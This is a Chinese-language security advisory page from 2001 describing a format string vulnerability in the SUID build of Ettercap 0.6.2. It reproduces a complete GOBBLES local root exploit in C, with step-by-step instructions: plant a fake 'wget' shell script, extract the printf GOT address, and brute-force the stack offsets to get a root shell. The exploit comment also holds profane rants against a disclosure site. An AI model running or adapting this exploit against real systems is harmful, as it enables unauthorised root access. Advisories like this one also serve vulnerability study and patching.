xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Ettercap 存在本地缓冲溢出


发布时间:2001-12-17
更新时间:2001-12-17
严重程度:
威胁程度:本地管理员权限
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
Ettercap version 0.6.2
详细描述
Ettercap有一个配置选项叫PERMIT_SUID,这允许管理员使两进制成为SUID ROOT,
其中如果ncruses模式提供和PERMIT_SUID选项使用的话,就存在格式字符串漏洞。

$ /usr/local/sbin/ettercap %x
ettercap 0.6.2 brought from the dark side of the net by ALoR and NaGA...

may the packets be with you...


Invalid host address 8102438 !!

$ /usr/local/sbin/ettercap
%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
ettercap 0.6.2 brought from the dark side of the net by ALoR and NaGA...

may the packets be with you...


Invalid host address
8102438.8102de0.8102d80.810212f.8102129.806e5b3.bff0efbc.8126fc4.61766e49.
2064696c.74736f68.64646120.73736572.2e782520.252e7825.78252e78.2e78252e.
252e7825.78252e78.2e78252e.252e7825 !!

$ /usr/local/sbin/ettercap %n
ettercap 0.6.2 brought from the dark side of the net by ALoR and NaGA...

may the packets be with you...



Ooops !! Somewhere in the stack a pointer got crazy...

[ettercap] Segmentation Fault...

===============================================================
To report this error follow these steps:

  1) recompile ettercap in debug mode :
        "configure --enable-debug && make clean && make"

  2) reproduce the critical situation

  3) make a report : "tar zcvf error.tar.gz ettercap_debug.log "

  4) get the gdb backtrace :
         - "gdb ettercap core"
         - at the gdb prompt "bt"
         - at the gdb prompt "quit" and return to the shell
         - copy and paste this output.

  5) mail us the output of gdb and the error.tar.gz

测试代码
/*
* own-ettercap - Ettercap local root exploit
* - Alicia [GOBBLES]
*
* Ettercap has a configuration option called PERMIT_SUID. This allows the
* administrator to make the binary SUID root. Among at least half a dozen
* vulnerabilities in the program, there is a format string problem that can
* be triggered if ncurses is present and the PERMIT_SUID option is used.
*
* No shellcode is needed for the exploit. It should work fine for systems
* using ELF/x86. The exploitation idea is to overwrite the printf() GOT
* with an address in the program's own code segment, namely for the
* following:
*
* 441 void Main_Check_NewRelease(void)
* [...]
* 535 sprintf(wget, "wget http://%s/download/ettercap-%s.tar.gz" ...
* 536 system(wget);
*
* Incidentally, lines 535-536 may or may not be exploitable alone.
*
* Openwall, StackGuard, Stackshield, PaX, libsafe, and Solaris
* noexec_user_stack do nothing to stop this; FormatGuard might help.
* Considering that most of our exploits defeat all of the above anyway, one
* wonders what good they really do.
*
* We have an OpenSSH 2.9 sshd remote buffer overflow vulnerability (Hi Theo,
* you do good work!). We'll post the details of the hole when we see that
* securityfocus has stopped moderating us and offers an apology. It's a shame
* that our research, which matches 95% of Bugtraq posts, is moderated on
* the grounds of it being "technically feeble." Fucking cocksuckers.
*
* http://www.bugtraq.org/advisories.html
*
* Anyway, this exploit is pretty much penetrator proof, but it may not be
* totally script kid proof. We apologize.
*
* 1. Change ECAP_PATH to the location of ettercap.
* 2. DEF_SLEN and DEF_ALIGN should be fine as they are.
* 3. DEF_GOB will unlikely work for you. Brute force it in step 7.
* 4. Make a shell script named 'wget' in your current working directory:
* bash-2.05$ cat > wget ; chmod +x wget
* #!/bin/sh
* /bin/sh
* ^D
* 5. Grab the printf() GOT address:
* bash-2.05$ objdump -R ettercap | grep printf
* 0808c478 R_386_JUMP_SLOT printf
* 6. This is where most penetrators are likely to screw up. Disassemble
* Main_Check_NewRelease and try to find where the first sprintf()
* argument is prepared for being pushed onto the stack. Sample:
* 0x8079268 <Main_Check_NewRelease+976>: mov 0xfffffff0(%ebp),%eax
* 0x807926b <Main_Check_NewRelease+979>: push %eax
* 0x807926c <Main_Check_NewRelease+980>: lea 0xffffea58(%ebp),%eax
* 0x8079272 <Main_Check_NewRelease+986>: push %eax
* 0x8079273 <Main_Check_NewRelease+987>: push $0x80880a0
* 0x8079278 <Main_Check_NewRelease+992>: lea 0xffffe9e8(%ebp),%eax
* 0x807927e <Main_Check_NewRelease+998>: push %eax
* 0x807927f <Main_Check_NewRelease+999>: call 0x804f418 <sprintf>
* 0x8079284 <Main_Check_NewRelease+1004>: add $0x10,%esp
* 0x8079287 <Main_Check_NewRelease+1007>: add $0xfffffff4,%esp
* 0x807928a <Main_Check_NewRelease+1010>: lea 0xffffe9e8(%ebp),%eax
* 0x8079290 <Main_Check_NewRelease+1016>: push %eax
* 0x8079291 <Main_Check_NewRelease+1017>: call 0x804edd8 <system>
* 7. Now we brute force the stack stepping:
* i=1; while [ $i -le 40 ] ; do ./expl 0x0808c478 0x8079268 $i; \
* i=`expr $i + 1`; done
*
* Some values of retadd aren't accounted for, but you should encounter no
* problems unless you try testing with 0x41414141 and such.
*
* For old glibc, this will be useless. Should present a good programming
* challenge for 90% of the team bugtraq commercial penetrator "academic
* re$earch community" though. One wonders why the only ones who seem to
* defend full disclosure are the ones who have something to lose in its
* absence. Others just seem to think it's anti-Microsoft or anti-BigVendor.
* As a good friend says, if they're so concerned about securing computer
* networks worldwide, then why the fuck are they capitalizing on it?
*
* Fact: They profit with insecurity.
* Fact: With security, they'd make no profit.
* Conclusion: They don't want security.
* Fact: They need customers to profit with insecurity.
* Fact: The customers must be aware of their insecurity.
* Conclusion: They need to do everything possible to scare the public.
*
* Microsoft: It's like shouting "FIRE!" in a cinema!
* Securityfocus: But the cinema really is on fire!
* Counter-Securityfocus: So you burn down the whole city as a "necessary
* evil" to let everyone know the threat of the cinema on fire?
*
* Hey, securityfocus will probably reject this advisory, but then again,
* they rejected our banner(1) exploit too. In some ways we hope they do
* reject this as being too fluffy, because there are many people out there
* who'd like to see the saga continue in a much more devastating way...
*
* - Alicia
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

#define ECAP_PATH "./ettercap"

#define DEF_GOB 20
#define DEF_SLEN 21
#define DEF_ALIGN 3

void
usage(char *prog)
{
    fprintf(stderr, "GOBBLES ettercap local root exploit\n");
    fprintf(stderr, "usage: %s retloc retadd [gob] [align] [slen]\n", prog);
    exit(EXIT_FAILURE);
}

int
chk_clean(void *addr, size_t len)
{
    return (memchr(addr, '\0', len) || memchr(addr, '%', len));
}

void
mk_fmt(unsigned long retloc, unsigned long retadd, int gob, int align, int slen,
        char **attack)
{
    char *ptr;
    unsigned long len, rllo, rlhi, ralo, rahi;

    if(!(*attack = malloc(gob * 4 + 256))) {
        perror("malloc");
        exit(EXIT_FAILURE);
    }

    ptr = *attack;
    len = slen + align + 16 + gob * 9;

    rllo = retloc;
    rlhi = retloc + 2;
    ralo = retadd & 0xffff;
    rahi = retadd >> 16 & 0xffff;

    if(ralo > rahi) {
        rllo ^= rlhi, rlhi ^= rllo, rllo ^= rlhi;
        ralo ^= rahi, rahi ^= ralo, ralo ^= rahi;
    }

    ralo -= len;
    rahi -= ralo + len;

    while(align--) {
        *ptr++ = 'G';
    }

    *((unsigned long *) ptr)++ = 0xdefaced;
    *((unsigned long *) ptr)++ = rllo;
    *((unsigned long *) ptr)++ = 0xdefaced;
    *((unsigned long *) ptr)++ = rlhi;

    if(chk_clean(ptr - 16, 16)) {
        fprintf(stderr, "bad: %#lx (& +2) - your skeelz needed!\n", retloc);
        exit(EXIT_FAILURE);
    }

    while(gob--) {
        memcpy(ptr, "%8x.", 4);
        ptr += 4;
    }

    sprintf(ptr, "%%%luc%%hn%%%luc%%hn", ralo, rahi);
}

int
main(int argc, char **argv)
{
    char *attack;
    unsigned long retloc, retadd;
    int gob = DEF_GOB, align = DEF_ALIGN, slen = DEF_SLEN;

    if(argc < 3) usage(argv[0]);

    retloc = strtoul(argv[1], NULL, 0);
    retadd = strtoul(argv[2], NULL, 0);

    if(argc > 3) gob = atoi(argv[3]);
    if(argc > 4) align = atoi(argv[4]);
    if(argc > 5) slen = atoi(argv[5]);

    mk_fmt(retloc, retadd, gob, align, slen, &attack);
    setenv("PATH", ".:/bin:/sbin:/usr/bin:/usr/sbin", 1);

    execl(ECAP_PATH, "ettercap", attack, (char *) 0);
    perror("execl");

    free(attack);
    exit(EXIT_FAILURE);
}

解决方案
尚无

相关信息
参考:http://www.securiteam.com/unixfocus/6C00A0U3GI.html